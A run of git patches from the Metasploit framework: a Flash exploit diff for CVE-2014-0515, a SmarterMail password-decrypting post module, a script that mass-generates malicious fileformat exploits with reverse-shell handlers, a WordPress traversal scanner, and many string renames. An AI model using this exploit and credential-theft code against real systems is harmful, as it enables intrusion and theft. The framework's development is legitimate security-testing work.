z)M!pB`hSEDN4?>Sk|p}sRHLc}qXoiv4Dxx#4mw%WBLY~d*f&jB4_&Vq*GYev#$}CV z!`tMEZA#G*s3}3<+1l~d!1Yzac6*45#Int*-)*(9tar!&3lUfYIaovgj4~PlEe7i@Ngo=| zxoVy7x=#0l*-)fjyN(4!2Sq-YHIT~}ltHlTn+VVi(MwRrVJWA_5CFO}T2CqAik}RB z*7_ee#5{O19@y}Cn%o1){TjdA|IA_hXyb72MpVuS03U5gx+r>!c4YFZQ$-NffLCFIf5jzVz^zVrrxTugyAyRmVZgi+3qa-qv_Nsxw`L@EAkmKRu4^mmdBn) zWTl9Z$^Qbo+Q{(edVoLY;|tePpRxj+=&088E2L}V)oye0;jjV}>H6l{XK|2581szY zC5;E~+nKo;3D(?*#ZvGV0WF?DU9o?R{X#=$4s<>M3|p3H(xXJN$0WGL01kwP0e_ad3t`wUfE6vEhl z5u(VA8yrr2hxbQ?xv!HNAciGMw||*cy}MkJ!~N%qO%wQbm=)lO-s%={KE4Gyc5P7$ zL(U=nTFW4pwZ8!6Nc~`|mgM0y&%2T5YNx&!$%4H7AERwAO`9N~%<)BAo9o5;WmB-q z9w(27Lcz{Db3TYtpb0O&#G zz;jSy2@PaH!eX7k6m+Q@us1q_&sUTP8*E!=J>z*CBp6`T9oXApa#~!Qwyc+PJ7lZVCx8%;mA=)@{ zMDy966JcY`_VXXHU?j|NlML`X%lC@>fOj4aKA$ zlSe0}>&Ib1c^R0r^YBbFHX0AfC;0z=_JS&^b_V#bO0$uJ*kJ9i-GA}C!5*JFHi#E- z7tBDiDHB3n32`HB;ZQFA754?-PMdF#goBz@_EhnOK+?ubX>1TBcX8(zcC}%zY{_vr zGe|wJ-<6mG3}~=I7A>#U48z*)gPWP*XhV(@pb^-PT=qm|nF$iKKfYB@29?Oqezhdng#XWw0~VxUqaa)YosQyZJln>=HBI43s09`!)c zqAxA^;ZS}K;}RV=8PO4lCn+T1m|DSX4bI~f4sR%lVv(Z~zcT#Vi`c|N`##)f1K=v& nETmRUqCF?L%IVM96u^;-HCKU{Cm= 0) - { - shadba.writeUnsignedInt(2472) - } shadba.position = 0 - - Logger.log("corrupting") shader = new Shader() try @@ -103,13 +95,11 @@ package { } if (corrupted_vector_idx == -1) { - Logger.log("Exploit - Corrupted vector not found.") return } for(i = 0; i < array[corrupted_vector_idx].length; i++) { if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) { - Logger.log("w00t!, found, corrupting ") array[corrupted_vector_idx][i] = 0xffffffff offset = i break @@ -117,24 +107,25 @@ package { } if (offset == -1) { - Logger.log("Exploit - Secondary vector not corrupted") return } for(i = 0; i < array.length; i++) { if (array[i].length == 0xffffffff) { - Logger.log("super corrupted found") uv = array[i] - Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString()) uv[0x3ffffffc - offset] = 34 - Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString()) } } - Logger.log('done? Exploiting!') + + for(i = 0; i < array.length; i++) { + if (array[i].length != 0xffffffff) { + delete(array[i]) + array[i] = null + } + } + exploiter = new Exploiter(this, platform, os, payload, uv) -// uv[0x3ffffffe] = 0x100 -// Logger.log(uv.length.toString()) } } -}//package +} diff --git a/external/source/exploits/CVE-2014-0515/Logger.as b/external/source/exploits/CVE-2014-0515/Logger.as index 61ec768c25..16c0447973 100755 --- a/external/source/exploits/CVE-2014-0515/Logger.as +++ b/external/source/exploits/CVE-2014-0515/Logger.as @@ -3,7 +3,7 @@ package import flash.external.ExternalInterface public class Logger { - private static const DEBUG:uint = 1 + private static const DEBUG:uint = 0 public static function alert(msg:String):void { From 20170bd630a6f04d5a14f556c75509b3b0b939e4 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 12 Jun 2015 13:55:32 -0500 Subject: [PATCH 0398/1013] Report as hash --- .../post/windows/gather/credentials/smartermail.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 11f087fda3..5852e0ddab 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -145,8 +145,11 @@ class Metasploit3 < Msf::Post if password begin result['password'] = decrypt_des(Rex::Text.decode_base64(password)) + result['password_type'] = :password rescue OpenSSL::Cipher::CipherError result['password'] = password + result['password_type'] = :nonreplayable_hash + result['jtr_format'] = 'des' end end @@ -167,9 +170,15 @@ class Metasploit3 < Msf::Post session_id: session_db_id, origin_type: :session, private_data: opts[:password], - private_type: :password, + private_type: opts[:password_type], username: opts[:user] - }.merge(service_data) + } + + if opts[:password_type] == :nonreplayable_hash + credential_data.merge!(jtr_format: opts['jtr_format']) + end + + credential_data.merge!(service_data) login_data = { core: create_credential(credential_data), From 7baebeea89d84f13d089ee8e13f0c1f32f95eacc Mon Sep 17 00:00:00 2001 From: Trevor Rosen Date: Fri, 12 Jun 2015 14:00:54 -0500 Subject: [PATCH 0399/1013] Update MDM dependency MSP-12813 --- Gemfile.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 7248bf82e0..999bd2f902 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -124,7 +124,7 @@ GEM activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) metasploit-payloads (1.0.2) - metasploit_data_models (1.2.1) + metasploit_data_models (1.2.2) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers @@ -139,7 +139,7 @@ GEM mini_portile (0.6.2) minitest (4.7.5) msgpack (0.6.0) - multi_json (1.11.0) + multi_json (1.11.1) multi_test (0.1.2) network_interface (0.0.1) nokogiri (1.6.6.2) @@ -174,7 +174,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (10.4.2) rb-readline-r7 (0.5.2.0) - recog (2.0.4) + recog (2.0.5) nokogiri redcarpet (3.2.3) rkelly-remix (0.0.6) From 89d03a14722457ae4bd94a74dbc3cb3523f19ecd Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 12 Jun 2015 15:02:36 -0500 Subject: [PATCH 0400/1013] Symbol to String --- modules/post/windows/gather/credentials/smartermail.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 5852e0ddab..3d342642d2 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -174,7 +174,7 @@ class Metasploit3 < Msf::Post username: opts[:user] } - if opts[:password_type] == :nonreplayable_hash + if opts['password_type'] == :nonreplayable_hash credential_data.merge!(jtr_format: opts['jtr_format']) end From a53ca53a6a04a0460ac9a6e4957cb6675770e082 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 12 Jun 2015 21:23:51 +0100 Subject: [PATCH 0401/1013] Fix inconstancy - multi/handler --- .../browser/persits_xupload_traversal.rb | 2 +- .../windows/mssql/mssql_linkcrawler.rb | 22 +-- .../post/multi/manage/shell_to_meterpreter.rb | 10 +- modules/post/multi/manage/system_session.rb | 6 +- .../manage/multi_meterpreter_inject.rb | 2 +- modules/post/windows/manage/payload_inject.rb | 6 +- msfcli | 4 +- scripts/meterpreter/duplicate.rb | 2 +- scripts/meterpreter/metsvc.rb | 4 +- scripts/meterpreter/multi_meter_inject.rb | 2 +- scripts/meterpreter/persistence.rb | 4 +- scripts/meterpreter/vnc.rb | 4 +- scripts/resource/fileformat_generator.rc | 146 +++++++++--------- spec/msfcli_spec.rb | 12 +- 14 files changed, 113 insertions(+), 113 deletions(-) diff --git a/modules/exploits/windows/browser/persits_xupload_traversal.rb b/modules/exploits/windows/browser/persits_xupload_traversal.rb index 8d96cd5d2b..2441f5ff05 100644 --- a/modules/exploits/windows/browser/persits_xupload_traversal.rb +++ b/modules/exploits/windows/browser/persits_xupload_traversal.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote an attacker is able to write arbitrary files to arbitrary locations on disk. Code execution occurs by writing to the All Users Startup Programs directory. - You may want to combine this module with the use of multi/handler since a + You may want to combine this module with the use of exploit/multi/handler since a user would have to log for the payload to execute. }, 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index 1d64c7ae25..e03b2907be 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote If you are attempting to obtain multiple reverse shells using this module we recommend setting the "DisablePayloadHandler" advanced option to "true", and setting - up a multi/handler to run in the background as a job to support multiple incoming + up a exploit/multi/handler to run in the background as a job to support multiple incoming shells. If you are interested in deploying payloads to spefic servers this module also @@ -89,17 +89,17 @@ class Metasploit3 < Msf::Exploit::Remote # Define master array to keep track of enumerated database information masterList = Array.new - masterList[0] = Hash.new # Define new hash - masterList[0]["name"] = "" # Name of the current database server - masterList[0]["db_link"] = "" # Name of the linked database server - masterList[0]["db_user"] = "" # User configured on the database server link - masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges - masterList[0]["db_version"] = "" # Database version of the linked database server - masterList[0]["db_os"] = "" # OS of the linked database server - masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored - masterList[0]["done"] = 0 # Used to determine if linked need to be crawled + masterList[0] = Hash.new # Define new hash + masterList[0]["name"] = "" # Name of the current database server + masterList[0]["db_link"] = "" # Name of the linked database server + masterList[0]["db_user"] = "" # User configured on the database server link + masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges + masterList[0]["db_version"] = "" # Database version of the linked database server + masterList[0]["db_os"] = "" # OS of the linked database server + masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored + masterList[0]["done"] = 0 # Used to determine if linked need to be crawled - shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system + shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system # Setup query for gathering information from database servers versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\ diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 7038742da4..ab80250ffc 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]), OptBool.new('HANDLER', - [ true, 'Start an Exploit Multi Handler to receive the connection', true]) + [ true, 'Start an exploit/multi/handler to receive the connection', true]) ], self.class) deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') end @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Post if datastore['HANDLER'] listener_job_id = create_multihandler(lhost, lport, payload_name) if listener_job_id.blank? - print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.") + print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.") return nil end end @@ -208,7 +208,7 @@ class Metasploit3 < Msf::Post timer += 1 end end - print_status('Stopping multi/handler') + print_status('Stopping exploit/multi/handler') framework.jobs.stop_job(listener_job_id) } end @@ -238,12 +238,12 @@ class Metasploit3 < Msf::Post return false end - # Starts a multi/handler session + # Starts a exploit/multi/handler session def create_multihandler(lhost, lport, payload_name) pay = client.framework.payloads.create(payload_name) pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport - print_status('Starting exploit multi handler') + print_status('Starting exploit/multi/handler') if !check_for_listener(lhost, lport) # Set options for module mh = client.framework.exploits.create('multi/handler') diff --git a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb index 5aac76272c..299cd0a965 100644 --- a/modules/post/multi/manage/system_session.rb +++ b/modules/post/multi/manage/system_session.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Post OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]), OptBool.new('HANDLER', - [ true, 'Start an Exploit Multi Handler to receive the connection', false]), + [ true, 'Start an exploit/multi/handler to receive the connection', false]), OptEnum.new('TYPE', [true, 'Scripting environment on target to use for reverse shell', 'auto', ['auto','ruby','python','perl','bash']]) ], self.class) @@ -111,12 +111,12 @@ class Metasploit3 < Msf::Post return conflict end - # Starts a multi/handler session + # Starts a exploit/multi/handler session def create_multihand(lhost,lport) pay = client.framework.payloads.create("generic/shell_reverse_tcp") pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport - print_status("Starting exploit multi handler") + print_status("Starting exploit/multi/handler") if not check_for_listner(lhost,lport) # Set options for module mul = client.framework.exploits.create("multi/handler") diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 58ba395bd1..222a7b9784 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Post OptInt.new('LPORT', [false, 'Port number for the payload LPORT variable.', 4444]), OptString.new('IPLIST', [true, 'List of semicolom separated IP list.', Rex::Socket.source_address("1.2.3.4")]), OptString.new('PIDLIST', [false, 'List of semicolom separated PID list.', '']), - OptBool.new('HANDLER', [false, 'Start new multi/handler job on local box.', false]), + OptBool.new('HANDLER', [false, 'Start new exploit/multi/handler job on local box.', false]), OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1]) ], self.class) diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index 8ba2e5a8a9..10c6317646 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post OptAddress.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']), OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]), OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']), - OptBool.new('HANDLER', [ false, 'Start an Exploit Multi Handler to receive the connection', false]), + OptBool.new('HANDLER', [ false, 'Start an exploit/multi/handler to receive the connection', false]), OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format."]), OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1]) ], self.class) @@ -112,9 +112,9 @@ class Metasploit3 < Msf::Post return pay end - # Starts a multi/handler session + # Starts a exploit/multi/handler session def create_multihand(pay,pay_name,lhost,lport) - print_status("Starting exploit multi handler") + print_status("Starting exploit/multi/handler") if not check_for_listner(lhost,lport) # Set options for module mul = client.framework.exploits.create("multi/handler") diff --git a/msfcli b/msfcli index 37c1e214ac..911b32e920 100755 --- a/msfcli +++ b/msfcli @@ -95,7 +95,7 @@ class Msfcli $stdout.puts "Error: #{str}\n\n" if str $stdout.puts tbl.to_s + "\n" $stdout.puts "Examples:" + "\n" - $stdout.puts "msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n" + $stdout.puts "msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n" $stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n" $stdout.puts extra + "\n" if extra $stdout.puts @@ -542,7 +542,7 @@ class Msfcli show_payloads(modules) end when "t" - puts + puts if modules[:module].file_path =~ /auxiliary\//i $stdout.puts("\nError: This type of module does not support targets") else diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index 89caeba6ca..080f9ded93 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -23,7 +23,7 @@ opts = Rex::Parser::Arguments.new( "-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."], "-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."], "-s" => [ false, "Spawn new executable to inject to. Only useful with -P."], - "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"] + "-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"] ) # diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 253de080f8..7eafcef435 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -18,7 +18,7 @@ session = client opts = Rex::Parser::Arguments.new( "-h" => [ false, "This help menu"], "-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"], - "-A" => [ false, "Automatically start a matching multi/handler to connect to the service"] + "-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the service"] ) # Exec a command and return the results @@ -117,7 +117,7 @@ if client.platform =~ /win32|win64/ end # - # Setup the multi/handler if requested + # Setup the exploit/multi/handler if requested # if(autoconn) print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...") diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index 36a36e7f58..575c24f8ad 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -21,7 +21,7 @@ start_handler = nil @exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"], - "-m" => [ false, "Start Exploit multi/handler for return connection"], + "-m" => [ false, "Start exploit/multi/handler for return connection"], "-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"], "-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."], "-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."] diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index f9edcd7f90..9cfd185d25 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -35,7 +35,7 @@ script_on_target = nil "-X" => [ false, "Automatically start the agent when the system boots"], "-U" => [ false, "Automatically start the agent when the User logs on"], "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], - "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], + "-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"], "-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."], "-T" => [ true, "Alternate executable template to use"], "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] @@ -237,7 +237,7 @@ raw = create_payload(payload_type, rhost, rport) script = create_script(delay, altexe, raw, payload_type.include?('/x64/')) script_on_target = write_script_to_target(target_dir, script) -# Start Multi/Handler +# Start exploit/multi/handler if autoconn set_handler(payload_type, rhost, rport) end diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index 8151145334..2ebfd24bae 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -21,7 +21,7 @@ opts = Rex::Parser::Arguments.new( "-v" => [ true, "The local port for the VNC proxy service (default: 5900)"], "-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"], "-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"], - "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"], + "-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"], "-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"], "-V" => [ false, "Disable the automatic launch of the VNC client"], "-t" => [ false, "Tunnel through the current session connection. (Will be slower)"], @@ -176,7 +176,7 @@ else end if tunnel - # Set up a port forward for the multi/handler to use for uploading the stage + # Set up a port forward for the exploit/multi/handler to use for uploading the stage print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}") client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}") end diff --git a/scripts/resource/fileformat_generator.rc b/scripts/resource/fileformat_generator.rc index 3e3a5657ff..96cbff3208 100644 --- a/scripts/resource/fileformat_generator.rc +++ b/scripts/resource/fileformat_generator.rc @@ -1,42 +1,42 @@ if (framework.datastore['WIN_PAYL'] != nil) - winpayl = framework.datastore['WIN_PAYL'] + winpayl = framework.datastore['WIN_PAYL'] else - # no payload defined -> we use a messagebox payload :) - winpayl = "windows/messagebox" + # no payload defined -> we use a messagebox payload :) + winpayl = "windows/messagebox" end if (framework.datastore['OSX_PAYL'] != nil) - osxpayl = framework.datastore['OSX_PAYL'] + osxpayl = framework.datastore['OSX_PAYL'] else - # no payload defined -> we use a generic bind payload :) - osxpayl = "generic/shell_bind_tcp" + # no payload defined -> we use a generic bind payload :) + osxpayl = "generic/shell_bind_tcp" end if (framework.datastore['MULTI_PAYL'] != nil) - multipayl = framework.datastore['MULTI_PAYL'] + multipayl = framework.datastore['MULTI_PAYL'] else - # no payload defined -> we use a generic bind payload :) - multipayl = "generic/shell_bind_tcp" + # no payload defined -> we use a generic bind payload :) + multipayl = "generic/shell_bind_tcp" end if (framework.datastore['LHOST'] == nil and (winpayl =~ /reverse/ or osxpayl =~ /reverse/ or multipayl =~ /reverse/)) - print_error("please define a global LHOST Variable") - return + print_error("please define a global LHOST Variable") + return else - localIP = framework.datastore['LHOST'] + localIP = framework.datastore['LHOST'] end if (framework.datastore['VERBOSE'] == "true") - verbose = 1 #true + verbose = 1 #true else - verbose = 0 + verbose = 0 end if (framework.datastore['HANDLERS'] == "true") - handlers = 1 #true + handlers = 1 #true else - handlers = 0 + handlers = 0 end windows = false @@ -44,66 +44,66 @@ multi = false osx = false framework.exploits.each do |exploit,mod| - if(exploit.to_s =~ /fileformat/) - print_line("generating fileformat exploit: #{exploit.to_s}") - run_single("use #{exploit}") - if(exploit.to_s =~ /windows/) - #we need this info for starting the handlers - windows = true - #setting the payload - run_single("set PAYLOAD #{winpayl}") - if(winpayl =~ /reverse/) - run_single("set LHOST #{localIP}") - run_single("set LPORT 4444") - end - elsif(exploit.to_s =~ /multi/) - #we need this info for starting the handlers - multi = true - #setting the payload - run_single("set PAYLOAD #{multipayl}") - if(winpayl =~ /reverse/) - run_single("set LHOST #{localIP}") - run_single("set LPORT 5555") - end - elsif(exploit.to_s =~ /osx/) - #we need this info for starting the handlers - osx = true - #setting the payload - run_single("set PAYLOAD #{osxpayl}") - if(osxpayl =~ /reverse/) - run_single("set LHOST #{localIP}") - run_single("set LPORT 6666") - end - end - extension = active_module.datastore['FILENAME'].split('.').last - filename = exploit.split('/').last - run_single("set FILENAME #{filename}.#{extension}") - run_single("exploit") - print_line - end + if(exploit.to_s =~ /fileformat/) + print_line("generating fileformat exploit: #{exploit.to_s}") + run_single("use #{exploit}") + if(exploit.to_s =~ /windows/) + #we need this info for starting the handlers + windows = true + #setting the payload + run_single("set PAYLOAD #{winpayl}") + if(winpayl =~ /reverse/) + run_single("set LHOST #{localIP}") + run_single("set LPORT 4444") + end + elsif(exploit.to_s =~ /multi/) + #we need this info for starting the handlers + multi = true + #setting the payload + run_single("set PAYLOAD #{multipayl}") + if(winpayl =~ /reverse/) + run_single("set LHOST #{localIP}") + run_single("set LPORT 5555") + end + elsif(exploit.to_s =~ /osx/) + #we need this info for starting the handlers + osx = true + #setting the payload + run_single("set PAYLOAD #{osxpayl}") + if(osxpayl =~ /reverse/) + run_single("set LHOST #{localIP}") + run_single("set LPORT 6666") + end + end + extension = active_module.datastore['FILENAME'].split('.').last + filename = exploit.split('/').last + run_single("set FILENAME #{filename}.#{extension}") + run_single("exploit") + print_line + end end if(handlers == 1) - #starting some handlers for reverse connections - run_single("use multi/handler") - if(windows == true and winpayl =~ /reverse/) - run_single("set PAYLOAD #{winpayl}") - run_single("set LHOST #{localIP}") - run_single("set LPORT 4444") - run_single("exploit -j") - end - if(multi == true and multipayl =~ /reverse/) - run_single("set PAYLOAD #{multipayl}") - run_single("set LHOST #{localIP}") - run_single("set LPORT 5555") - run_single("exploit -j") - end - if(osx == true and osxpayl =~ /reverse/) - run_single("set PAYLOAD #{osxpayl}") - run_single("set LHOST #{localIP}") - run_single("set LPORT 6666") - run_single("exploit -j") - end + #starting some handlers for reverse connections + run_single("use exploit/multi/handler") + if(windows == true and winpayl =~ /reverse/) + run_single("set PAYLOAD #{winpayl}") + run_single("set LHOST #{localIP}") + run_single("set LPORT 4444") + run_single("exploit -j") + end + if(multi == true and multipayl =~ /reverse/) + run_single("set PAYLOAD #{multipayl}") + run_single("set LHOST #{localIP}") + run_single("set LPORT 5555") + run_single("exploit -j") + end + if(osx == true and osxpayl =~ /reverse/) + run_single("set PAYLOAD #{osxpayl}") + run_single("set LHOST #{localIP}") + run_single("set LPORT 6666") + run_single("exploit -j") + end end run_single("back") diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index d37908ed00..ce31679cd5 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -289,8 +289,8 @@ describe Msfcli, :content do } end end - - + + context "#guess_nop_name" do subject(:guess_nop_name) { msfcli.guess_nop_name(nop_reference_name) @@ -555,8 +555,8 @@ describe Msfcli, :content do expect(modules[:module].fullname).to eq(module_name) end end - - context 'with multi/handler' do + + context 'with exploit/multi/handler' do let(:module_name) { 'multi/handler' } @@ -571,14 +571,14 @@ describe Msfcli, :content do expect(modules[:module]).to be_an Msf::Exploit expect(modules[:module].refname).to eq(module_name) end - + context 'with payload' do let(:args) { super().tap { |args| args.insert(-2, "payload=#{payload_reference_name}") } } - + context 'windows/meterpreter/reverse_tcp' do let(:payload_reference_name) do 'windows/meterpreter/reverse_tcp' From 184c20cd464f55378884fd75cd0659b791069cb1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 12 Jun 2015 15:31:42 -0500 Subject: [PATCH 0402/1013] Do minor cleanup --- .../scanner/http/wp_simple_backup_file_read.rb | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb index 95fb471c7f..8c66976876 100644 --- a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - traversal = "../" * datastore['DEPTH'] + traversal = '../' * datastore['DEPTH'] filename = datastore['FILEPATH'] filename = filename[1, filename.length] if filename =~ /^\// @@ -59,11 +59,16 @@ class Metasploit3 < Msf::Auxiliary ) unless res && res.body - fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way.") + vprint_error("#{peer} - Server did not respond in an expected way.") return end - if res.code == 200 && res.body.length > 0 && res.headers['Content-Disposition'].include?('attachment; filename') + if res.code == 200 && + res.body.length > 0 && + res.headers['Content-Disposition'] && + res.headers['Content-Disposition'].include?('attachment; filename') && + res.headers['Content-Length'] && + res.headers['Content-Length'].to_i > 0 vprint_line("#{res.body}") fname = datastore['FILEPATH'] @@ -78,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - File saved in: #{path}") else - print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.") + vprint_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.") end end end From 6dcc9b7dabb80ed07c6381160bed24005475a6f1 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 12 Jun 2015 21:59:15 +0100 Subject: [PATCH 0403/1013] More inconsistencies --- lib/msf/core/db_manager/session.rb | 2 +- lib/msf/core/exploit/http/server.rb | 2 +- .../manage/multi_meterpreter_inject.rb | 2 +- scripts/meterpreter/multi_meter_inject.rb | 33 +++++++++---------- scripts/meterpreter/persistence.rb | 4 +-- 5 files changed, 21 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index dd42462dfe..fff0140739 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -191,7 +191,7 @@ module Msf::DBManager::Session via_payload: session.via_payload, } - # In the case of multi handler we cannot yet determine the true + # In the case of exploit/multi/handler we cannot yet determine the true # exploit responsible. But we can at least show the parent versus # just the generic handler: if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 15ad4722ef..a8af4d3827 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -497,7 +497,7 @@ module Exploit::Remote::HttpServer # bind payload but there's nothing we can do about it. # # NOTE: The address will be *incorrect* in the following two situations: - # 1. LHOST is pointed at a multi/handler on some other box. + # 1. LHOST is pointed at a exploit/multi/handler on some other box. # 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're # using a bind payload. In that case, we don't have an LHOST and # the source address will be internal. diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 222a7b9784..4900e1fc64 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -117,7 +117,7 @@ class Metasploit3 < Msf::Post 'Payload' => mul.datastore['PAYLOAD'], 'RunAsJob' => true ) - print_good("Multi/Handler started!") + print_good("exploit/multi/handler started!") end # Function for Creating the Payload diff --git 